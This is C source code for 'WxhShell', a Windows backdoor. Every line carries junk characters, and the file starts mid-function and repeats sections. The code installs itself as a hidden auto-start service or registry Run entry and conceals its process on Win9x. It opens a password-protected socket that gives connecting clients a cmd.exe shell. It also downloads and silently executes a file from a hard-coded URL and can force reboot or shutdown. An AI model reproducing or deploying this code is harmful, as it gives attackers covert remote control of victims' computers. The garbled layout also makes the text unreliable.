    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{R:F  
    else { .] S{T  
    closesocket(wsh); 0@ -3U{Q  
    ExitThread(0); p'`SYEY@Z  
    } JG2)-x;9  
    break; `OY_v=}  
    } 7[V6@K!Al[  
  // 获取shell B{D!5{t  
  case 's': { ~[J&n-bJU  
    CmdShell(wsh); C$Y pk\p  
    closesocket(wsh); "hwG"3n1  
    ExitThread(0);  2iUdTy$  
    break; BjT0m k"P  
  } OV l,o  
  // 退出 nFVQOr;  
  case 'x': { QU&b5!;&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fP>K!@!8  
    CloseIt(wsh); 4_`ss+gk  
    break; #>SvYP  
    } ;st$TVzkn  
  // 离开 nUZ+N)*  
  case 'q': { `.0QY<;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WSdTP$?  
    closesocket(wsh); AT#&`Ew  
    WSACleanup(); 94=aVM\>>  
    exit(1); Z/z(P8#U\  
    break; xK`.^W  
        } Unl6?_  
  } `_IgH  
  } "}"Bvp^  
 TP6iSF  
  // 提示信息 29 +p|n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EZm6WvlxSI  
} UuV<#N)  
  } 0n <t/74  
P|"U  
  return; 5"f')MKUV9  
} EM_`` 0^  
zh hH A9  
// shell模块句柄 YpFh_Zr[  
int CmdShell(SOCKET sock) ^-CQ9r*  
{ 5WR(jl+M  
STARTUPINFO si; =H'7g 6  
ZeroMemory(&si,sizeof(si)); -{ Ng6ntS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VQ{.Ls2`Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =6mnXpM.  
PROCESS_INFORMATION ProcessInfo; >L#HE  
char cmdline[]="cmd"; \O"EK~x}/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /4\!zPPj.  
  return 0; 7Y:~'&U|  
} oGzZ.K3 A  
H3=U|wr|  
// 自身启动模式 S`LS/)  
int StartFromService(void) @v1f)(N  
{ }gE?ms4$  
typedef struct O k-*xd  
{ Az_s"}G  
  DWORD ExitStatus; 4v+4qyMyE  
  DWORD PebBaseAddress; r^uo7?gZ^  
  DWORD AffinityMask; )~q@2^  
  DWORD BasePriority; _,h hO  
  ULONG UniqueProcessId; R@=Bk(h  
  ULONG InheritedFromUniqueProcessId; ^cYm.EHI  
}   PROCESS_BASIC_INFORMATION; ~E2xIhV  
giy4<  
PROCNTQSIP NtQueryInformationProcess; Ea%} VZ&[  
jk0Ja@8PK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t]Ey~-Rx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p]d3F^*i  
VP4W~;UV|\  
  HANDLE             hProcess; hWGCYkuW  
  PROCESS_BASIC_INFORMATION pbi; ,UFr??ZKm  
`(|jm$Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bc {#ia  
  if(NULL == hInst ) return 0; ?#F}mOVAa  
y//yLrs;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z6tH2Wxf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `TBI{q[y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d%$'Y|  
Y'NQt?h  
  if (!NtQueryInformationProcess) return 0; < PoRnx  
gA e*kf1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xa._  
  if(!hProcess) return 0; RlU=  
l\W[WQP h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \JBJ$lBL  
h9)QQPP  
  CloseHandle(hProcess); dm60O8  
U?u0|Y+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eMf+b;~R  
if(hProcess==NULL) return 0; rC>')`uk  
zWxKp;.  
HMODULE hMod; u$c)B<.UR  
char procName[255]; p]*BeiT#n%  
unsigned long cbNeeded; <~BheGmmy  
jiPV ]aVN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z.f~wAT@<  
2}P<}-?6  
  CloseHandle(hProcess); 'l$<DcBj  
Ak!l}d  
if(strstr(procName,"services")) return 1; // 以服务启动 A &i  
7Zl- |  
  return 0; // 注册表启动 hB#z8D  
} Z6<vLc  
|okS7.|IX  
// 主模块 ,c:Fa)-  
int StartWxhshell(LPSTR lpCmdLine) 0z g\thL  
{ Aj06"ep  
  SOCKET wsl; 28L3"c  
BOOL val=TRUE; PjEKZHHz  
  int port=0; gIR{!'  
  struct sockaddr_in door; Yt"&8N]  
~%9ofXy  
  if(wscfg.ws_autoins) Install(); #NM .g  
#`6A}/@.+  
port=atoi(lpCmdLine); h<oQ9zW)  
o6^^hc\  
if(port<=0) port=wscfg.ws_port; Y?Yix   
+>N/q(l  
  WSADATA data; B9;-Blh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UOrf wK  
jP6;~[rl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .^^YS$%%7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F{ cKCqI?  
  door.sin_family = AF_INET; ]*+ozAG4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rIz"_r  
  door.sin_port = htons(port); zmI?p4,  
8phc ekh+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C% <[mM  
closesocket(wsl); 2U6j?MyH2  
return 1; b'Gn)1NE  
} @>'.F<:P<  
K;2tY+I  
  if(listen(wsl,2) == INVALID_SOCKET) { |5SYKA7CS  
closesocket(wsl); RaFk/mSw  
return 1; rm*Jo|eH`  
} G0Wzx)3]  
  Wxhshell(wsl); _p vL b  
  WSACleanup(); F kas*79  
$smzP.V  
return 0; &$fe%1#  
2 @g'3M  
} C !81Km5  
]@bo;.  
// 以NT服务方式启动 jcF/5u5e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w U.K+4-k  
{ 4NxtU/5-sU  
DWORD   status = 0; vkan+~H  
  DWORD   specificError = 0xfffffff; fSdv%$;Hc  
2~+Iu +  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?6@Y"5 z3g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e[}R1/! L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w/s{{X<bF  
  serviceStatus.dwWin32ExitCode     = 0; Qz;2RELz  
  serviceStatus.dwServiceSpecificExitCode = 0; >lqWni  
  serviceStatus.dwCheckPoint       = 0; 'sI=*c  
  serviceStatus.dwWaitHint       = 0; 1c S{3  
hqVx%4s*J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &#Sg1$/+  
  if (hServiceStatusHandle==0) return; ;pdW7  
6.|f iQs ]  
status = GetLastError(); fRJSo%  
  if (status!=NO_ERROR) s%`o  
{ 5:SfPAx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w}pFa76rm  
    serviceStatus.dwCheckPoint       = 0; @)iv'   
    serviceStatus.dwWaitHint       = 0; 0Ha1pqR  
    serviceStatus.dwWin32ExitCode     = status; :NHh`@0F  
    serviceStatus.dwServiceSpecificExitCode = specificError; LR D71*/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z%t>z9hU  
    return; r7sPFM  
  } bU1UNm`{C  
?lCKZm.,(-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ( 3IM7  
  serviceStatus.dwCheckPoint       = 0; 6l IFxc  
  serviceStatus.dwWaitHint       = 0; s]0x^"#B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c]O3pcU  
} Y;S+2])R2  
PL<q|y  
// 处理NT服务事件,比如:启动、停止 b #|M-DmT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |SXMd'<3`Z  
{ z7F~;IB*u  
switch(fdwControl) '6u;KIG  
{ |{]\n/M  
case SERVICE_CONTROL_STOP: o9~Z! &p  
  serviceStatus.dwWin32ExitCode = 0; KcP86H52I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S'vi +_  
  serviceStatus.dwCheckPoint   = 0; DGdSu6s$  
  serviceStatus.dwWaitHint     = 0; -8Z%5W`  
  { ^r73(8{)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vWI9ocl`W  
  }  3+"z  
  return; 3.B|uN  
case SERVICE_CONTROL_PAUSE: z= vfP%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mKynp  
  break; +](^gaDw<L  
case SERVICE_CONTROL_CONTINUE: ~h?zK 1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oT$w14b  
  break; 6Km@A M]  
case SERVICE_CONTROL_INTERROGATE: G_=`&i"4  
  break; SZH,I&8  
}; 1p>5ZkHb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<z(;)?c  
} UceZW tYa  
^ _KHw  
// 标准应用程序主函数 -gH1`*YL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %1a\"F![  
{ f&B&!&gZ  
U$6N-q  
// 获取操作系统版本 w<N [K>  
OsIsNt=GetOsVer(); mZJ"e,AY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LnvC{#TFO  
s$J0^8Q~i  
  // 从命令行安装 JC}y{R8  
  if(strpbrk(lpCmdLine,"iI")) Install(); HS]|s':  
"zR+}  
  // 下载执行文件 f$9V_j-K+  
if(wscfg.ws_downexe) { (F~i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +mE y7qM  
  WinExec(wscfg.ws_filenam,SW_HIDE); OT{wqNI  
} ;OTD1=  
HE. `  
if(!OsIsNt) { +j&4[;8P:  
// 如果时win9x,隐藏进程并且设置为注册表启动 CHv~H.kh'  
HideProc(); _!H{\kU  
StartWxhshell(lpCmdLine); =yOIP@  
} =9FY;9  
else >}GtmnF  
  if(StartFromService()) vL{sk|2&  
  // 以服务方式启动 X*1vIs;[@  
  StartServiceCtrlDispatcher(DispatchTable); G%-[vk#]  
else Ki{&,:@  
  // 普通方式启动 Uaog_@2n,  
  StartWxhshell(lpCmdLine); 5Y)*-JY1g  
6;9SU+/  
return 0; 2ksX6M3kY  
} IIUoB!`  
7qq}wR]]  
U)=?3}s(  
C4&yC81Gm  
=========================================== 9a"[-B:  
WE 'afxgV  
^aN;M\  
Eic/#j{4  
ko*Ir@SDv  
U-#wFc2N  
" 4a00-y='  
]re1$ W#*  
#include <stdio.h> )t{?7wy  
#include <string.h> F]@vmzr  
#include <windows.h> _5EM<Ux  
#include <winsock2.h> W'eF | hu  
#include <winsvc.h> %fnL  
#include <urlmon.h> 6%~ Z^>`N  
(e S4$$g  
#pragma comment (lib, "Ws2_32.lib") v1<3y~'f  
#pragma comment (lib, "urlmon.lib") M%5qx,JQY  
nAG2!2_8  
#define MAX_USER   100 // 最大客户端连接数 Zsc710_  
#define BUF_SOCK   200 // sock buffer c#|!^gjf  
#define KEY_BUFF   255 // 输入 buffer TZTi:\nS  
i[sHPEml(5  
#define REBOOT     0   // 重启 xCz(qR  
#define SHUTDOWN   1   // 关机 _@;t^j+l  
v#{Sx>lO  
#define DEF_PORT   5000 // 监听端口 C:xg M'~+  
lt`(R*B%  
#define REG_LEN     16   // 注册表键长度 a` A V  
#define SVC_LEN     80   // NT服务名长度 QI'ule  
t J N;WK.6  
// 从dll定义API /]=Ih  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aFGEHZJQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s'qd%JxD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zs:O HEZw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :{bvCos<)  
#mLF6 "A  
// wxhshell配置信息 IWERn v!  
struct WSCFG { .(^KA{  
  int ws_port;         // 监听端口 b^_#f:_j  
  char ws_passstr[REG_LEN]; // 口令 {D J!T  
  int ws_autoins;       // 安装标记, 1=yes 0=no \]dx;,T  
  char ws_regname[REG_LEN]; // 注册表键名 S\b[Bq  
  char ws_svcname[REG_LEN]; // 服务名 CtJ*:wF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F=!p7msRB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rrbD0UzFA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |N/Grk4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GM=r{F &  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SDt)|s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F9p'|-   
)0 UVT[7  
}; _[u&}i  
dU<\ FW_  
// default Wxhshell configuration jcD_<WSe  
struct WSCFG wscfg={DEF_PORT, ~x^E kE  
    "xuhuanlingzhe", 2kb<;Eh`G  
    1, E j`  
    "Wxhshell", EKo!vie G  
    "Wxhshell", _b|mSo,{Y  
            "WxhShell Service", Evu`e=LaG  
    "Wrsky Windows CmdShell Service", /5 yjON{  
    "Please Input Your Password: ", &u&+:m  
  1, wd*8w$\  
  "http://www.wrsky.com/wxhshell.exe", 9"hH2jc  
  "Wxhshell.exe" + 2 v6fan  
    }; 15dhr]8E  
Yci>'$tQ  
// 消息定义模块 Ey96XJV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F|pM$Kd`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2*;qr|h,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $2uk;&"?A=  
char *msg_ws_ext="\n\rExit."; @i2"+_}*  
char *msg_ws_end="\n\rQuit."; Y1fcp_]m  
char *msg_ws_boot="\n\rReboot..."; 3'tcEFkH  
char *msg_ws_poff="\n\rShutdown..."; _#32hAI  
char *msg_ws_down="\n\rSave to "; -!i1xR (;h  
HR'sMu3  
char *msg_ws_err="\n\rErr!"; P t< JF  
char *msg_ws_ok="\n\rOK!"; U[7 &   
S v3O${B|  
char ExeFile[MAX_PATH]; w3l2u1u  
int nUser = 0; m#6RJbEz  
HANDLE handles[MAX_USER]; )+ifVv50  
int OsIsNt; j'r"_*%  
4P(muOS  
SERVICE_STATUS       serviceStatus; X.}i9a 6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'kU5  
w]L^)_'Th  
// 函数声明 Xb#!1hA  
int Install(void); E,IeW {6s  
int Uninstall(void); R 6JHRd  
int DownloadFile(char *sURL, SOCKET wsh); iB4`w\-o  
int Boot(int flag); x6yYx_  
void HideProc(void); NzS(, F  
int GetOsVer(void); xs#g  
int Wxhshell(SOCKET wsl); h pf,44Kg  
void TalkWithClient(void *cs); s1 mKz0q  
int CmdShell(SOCKET sock); F(h jP  
int StartFromService(void); (4]M7b[S$  
int StartWxhshell(LPSTR lpCmdLine); :Kq]b@ X  
9r2l~zE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .cks ){\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Iu" 7  
#BtJo:  
// 数据结构和表定义 -t#YL  
SERVICE_TABLE_ENTRY DispatchTable[] = *G rYB6MT  
{ V[DiN~H  
{wscfg.ws_svcname, NTServiceMain}, OHRkhwF.  
{NULL, NULL} d{/#A%.  
}; !ZxK+Xqx[  
}ejZk bP  
// 自我安装 tKS'#y!R  
int Install(void) F/%M`?m"ie  
{ tuK2D,6  
  char svExeFile[MAX_PATH]; jD}G9=[$1  
  HKEY key; p~Wy`g-  
  strcpy(svExeFile,ExeFile); L(RI4d  
W kP`qD3  
// 如果是win9x系统,修改注册表设为自启动 L2\<iJA}c  
if(!OsIsNt) { +H{TV#+r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [D%(Y ~2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^(F@#zN}  
  RegCloseKey(key); 76oJCNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s5s'[<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -v %n@8p  
  RegCloseKey(key); j+"w2  
  return 0; S:(YZ%#  
    } "ov270:  
  } 8 $qj&2 N  
} xeNj@\jdC5  
else { NH aY&\  
/SW*y@R2l  
// 如果是NT以上系统,安装为系统服务 '3|fv{I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { )g $  
if (schSCManager!=0) !jWE^@P/B  
{ s$gR;su)g  
  SC_HANDLE schService = CreateService Xb<>AzEM  
  ( 7Is:hx|:  
  schSCManager, ]\Z8MxFD  
  wscfg.ws_svcname, Lv&9s  
  wscfg.ws_svcdisp, 'fjouO  
  SERVICE_ALL_ACCESS, [s{ B vn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <N{wFvF  
  SERVICE_AUTO_START, p>N8g#G  
  SERVICE_ERROR_NORMAL, [$X^r<|P@  
  svExeFile, emSky-{$u  
  NULL, +'|nsIx,  
  NULL, Sx8RH),k  
  NULL, i 558&:  
  NULL, pC~ M5(F_  
  NULL 5>6:#.f%!e  
  ); : X}n[K  
  if (schService!=0) fc&djd`FuX  
  { F|a'^:Qs  
  CloseServiceHandle(schService); ID: tTltcc  
  CloseServiceHandle(schSCManager); OKPNsN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5pT8 }?7  
  strcat(svExeFile,wscfg.ws_svcname); p'`?CJq8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ \+x7"pI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +70x0z2  
  RegCloseKey(key); h+R26lI1x  
  return 0; b4qMTRnv  
    } YP Qix  
  } a]/KJn /B(  
  CloseServiceHandle(schSCManager); 1}_4C0h\'  
} YK\pV'&+  
} j1rR3)oP  
q|{z9V<  
return 1; 4/ WKR3X  
} /\{emE\]  
?9;CC]D  
// 自我卸载 A$M8w9  
int Uninstall(void) O dbXna  
{ ff;~k?L  
  HKEY key; esiU._:u  
D0Mxl?S?  
if(!OsIsNt) { &,P; 7R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a&2UDl%K  
  RegDeleteValue(key,wscfg.ws_regname); I_m3|VCa|t  
  RegCloseKey(key); 5Gs>rq" #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [D+,I1u2h  
  RegDeleteValue(key,wscfg.ws_regname); fGd1  
  RegCloseKey(key); 8@[S,[  
  return 0; )@ofczl6  
  } IH&0>a  
} -=cm7/X  
} _NB*+HVo  
else { y/E:6w  
7},oY"" 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i)$P1h  
if (schSCManager!=0) ?7]G )8G6  
{ 0l3[?YtXc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $4mCtonP=  
  if (schService!=0) Xj{gyLs  
  { 1eywnOjrj  
  if(DeleteService(schService)!=0) { t`="2$NO  
  CloseServiceHandle(schService); "IB36/9  
  CloseServiceHandle(schSCManager); LZb<-vK"y  
  return 0; 3%+!qm  
  } {P_i5V?  
  CloseServiceHandle(schService); \%&A? D  
  } :C>iV+B j  
  CloseServiceHandle(schSCManager); C1fd@6  
} b}DC|?~M  
} gW<6dP'v  
qyxd9Lk1  
return 1; Gy[anDE&  
} D>8p: ^3g  
O,Tp,w T  
// 从指定url下载文件 == E8^jYJw  
int DownloadFile(char *sURL, SOCKET wsh) Xt:$H6 y  
{ s= ]NKJaQH  
  HRESULT hr; b*Q3j}cZ  
char seps[]= "/"; $/lM %yXe  
char *token; q1q 9W@H  
char *file; gs3c1Qa3b  
char myURL[MAX_PATH]; pSbtm74  
char myFILE[MAX_PATH]; 'pT13RFD  
? )h8uf4  
strcpy(myURL,sURL); Yn[>Y)  
  token=strtok(myURL,seps); j^5YFUwsQg  
  while(token!=NULL) [-VK! 9pQ  
  { $OG){'X  
    file=token; v)T# iw[  
  token=strtok(NULL,seps); B~E">}=!  
  } @dk-+YxG  
h (q,T$7 W  
GetCurrentDirectory(MAX_PATH,myFILE); +SF+$^T  
strcat(myFILE, "\\"); 7~FHn'xt  
strcat(myFILE, file); 4#}aLP  
  send(wsh,myFILE,strlen(myFILE),0); er5!n e  
send(wsh,"...",3,0); HAL\j 5i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mI5J] hk  
  if(hr==S_OK) ;:_AOb31N  
return 0; 1a/C(4 _k  
else 2Mk;r*FT  
return 1; }LCm_av  
<T?-A}0uO  
} 8^^ 1h  
z\oTuW*B  
// 系统电源模块 =}%#j0a4  
int Boot(int flag) "9r$*\wOf  
{ :Fm*WqZu  
  HANDLE hToken; > SLQW  
  TOKEN_PRIVILEGES tkp; P))BS  
p5$}h,7  
  if(OsIsNt) { QRvyaV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &9^4- 5]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +WAkBE/  
    tkp.PrivilegeCount = 1; @"` }%-b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .hu7JM+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9DJ&J{2W  
if(flag==REBOOT) { zt: !hM/Vt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S9Oz5_x  
  return 0; Dm{Xd+Y  
} nhdZC@~E0  
else { -N% V5 TN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hcj]T?  
  return 0; ]:#=[ CH  
} J/jkb3  
  } /6Q]f  
  else { "o+?vx-  
if(flag==REBOOT) { cz,QP'g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]7Du/)$  
  return 0; Cyd/HTNh<  
} ]}PXN1(  
else { < #ON  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;YR /7  
  return 0; Gn=b_!  
}  NdRcA  
} _,!0_\+i  
e2v`  
return 1; Ij7P-5=<  
} +HBizJ9K  
VS/M@y_./  
// win9x进程隐藏模块 W]#w4Fp!  
void HideProc(void) >STthPO  
{ )I[f(f%W7  
`v!. ,Yr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( ne[a2%>  
  if ( hKernel != NULL ) A!Cby!,  
  { !Pw*p*z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |J,zU6t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aSvv(iV  
    FreeLibrary(hKernel); !Ztqh Xr  
  } 5PO_qr= Hx  
JyZuj>` 6  
return; o *J*} y  
} Vt(Wy  
q@~g.AMCB  
// 获取操作系统版本 F<k+>e  
int GetOsVer(void) -$W1wb9z  
{ '";#v.!  
  OSVERSIONINFO winfo; ?).;cG:<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?)|}gr  
  GetVersionEx(&winfo); <4LJ #Fx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GZ~Tl0U  
  return 1; `=H*4I-"  
  else sko7,&  
  return 0; 84QOW|1  
} a$|U4Eqo  
k}v`UiGM  
// 客户端句柄模块 v1 8<~  
int Wxhshell(SOCKET wsl) %jzTQ+.%]^  
{ VIz(@  
  SOCKET wsh; A:< %>  
  struct sockaddr_in client; kScZ P8yw  
  DWORD myID; KE3`5Y!  
/IWA U)A0  
  while(nUser<MAX_USER) u-t=M]  
{ -}%J3j|R:  
  int nSize=sizeof(client); J)YlG*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OW@%H;b  
  if(wsh==INVALID_SOCKET) return 1; Jz` jN~  
BDI@h%tJb:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q4m> 3I  
if(handles[nUser]==0) 4j=3'Z|  
  closesocket(wsh); M5h r0 R{  
else ?9()ya-TE  
  nUser++; UON=7}=$&  
  } = g{I`u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `f;w  
$_"u2"p  
  return 0; t`z"=S  
} 0~fjY^(  
4C=W~6~  
// 关闭 socket 6^gp /{  
void CloseIt(SOCKET wsh) !^% 3  
{ FB[b]+t`D{  
closesocket(wsh); LG&BWs!  
nUser--; rJ Jx8)M  
ExitThread(0); Cjf[]aNJe`  
} 9VxM1-8Gs  
RqTO3Kf  
// 客户端请求句柄 8TFQ%jv  
void TalkWithClient(void *cs) wnokP  
{ 9,'m,2%W  
Qb^G1#r@C  
  SOCKET wsh=(SOCKET)cs; $Aw@xC^!  
  char pwd[SVC_LEN]; D`JBK?~  
  char cmd[KEY_BUFF]; K5qCPt`'  
char chr[1]; JJd qdX;  
int i,j; }n==^2  
wtek5C^  
  while (nUser < MAX_USER) { \Osu1]Jn>  
==[=Da~  
if(wscfg.ws_passstr) { ZRxOXt&;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?$6H',u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U*[E+Uq}:N  
  //ZeroMemory(pwd,KEY_BUFF); l1 Kv`v\  
      i=0; 0$)Q@#  
  while(i<SVC_LEN) { tVRN3fJH  
`3F#k[IR  
  // 设置超时 /Sj~lHh  
  fd_set FdRead; _iJ~O1qx,w  
  struct timeval TimeOut; 8z1z<\  
  FD_ZERO(&FdRead); j9NF|  
  FD_SET(wsh,&FdRead); 3^UdB9j;  
  TimeOut.tv_sec=8; rRq60A  
  TimeOut.tv_usec=0; P$obID  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `DY yK?R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,s~l; Gkj  
Q~(Gll;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bgor W"'  
  pwd=chr[0]; wD9K\%jIr!  
  if(chr[0]==0xd || chr[0]==0xa) { ]W5*R07  
  pwd=0; 7'IIB1v.\  
  break; Q~ U\f$N  
  } ,R[$S"]!SH  
  i++; Wi&v?nm  
    } cj[b^Wv:  
0VNLhM(LM  
  // 如果是非法用户,关闭 socket >s^$ -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [7@ g*!+d  
} G}pFy0W\S  
TwkT|Piw S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &!8 WRJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rml'{S  
(A~7>\r +  
while(1) { 0#]fEi  
;MS.ag#  
  ZeroMemory(cmd,KEY_BUFF); ZQfxlzj+X  
@N Yl4N  
      // 自动支持客户端 telnet标准   +Y 7M7  
  j=0; KYpS4&Xh  
  while(j<KEY_BUFF) { Yj&Sb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :lB*kmg  
  cmd[j]=chr[0]; P-\f-FS  
  if(chr[0]==0xa || chr[0]==0xd) { -+WAaJ(b  
  cmd[j]=0; a4,V(Hlm  
  break; i|^Q{3?o#  
  } ! UT'4Fs  
  j++; ;@ePu  
    } c|?(>  
~tp]a]yV  
  // 下载文件 uos8Mav{E  
  if(strstr(cmd,"http://")) { nONuw;K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rt+4-WuK>  
  if(DownloadFile(cmd,wsh)) ~~/,2^   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z Ts*Y,  
  else y74Q(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $wUYK%.  
  } ZE=sw}=  
  else { XJ<"S p  
\L*%?~  
    switch(cmd[0]) { _w\9 \<%  
  6(8 F4[D  
  // 帮助 SxRJ{m~  
  case '?': { j[r}!;O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -$Fj-pO\  
    break; J8:s=#5  
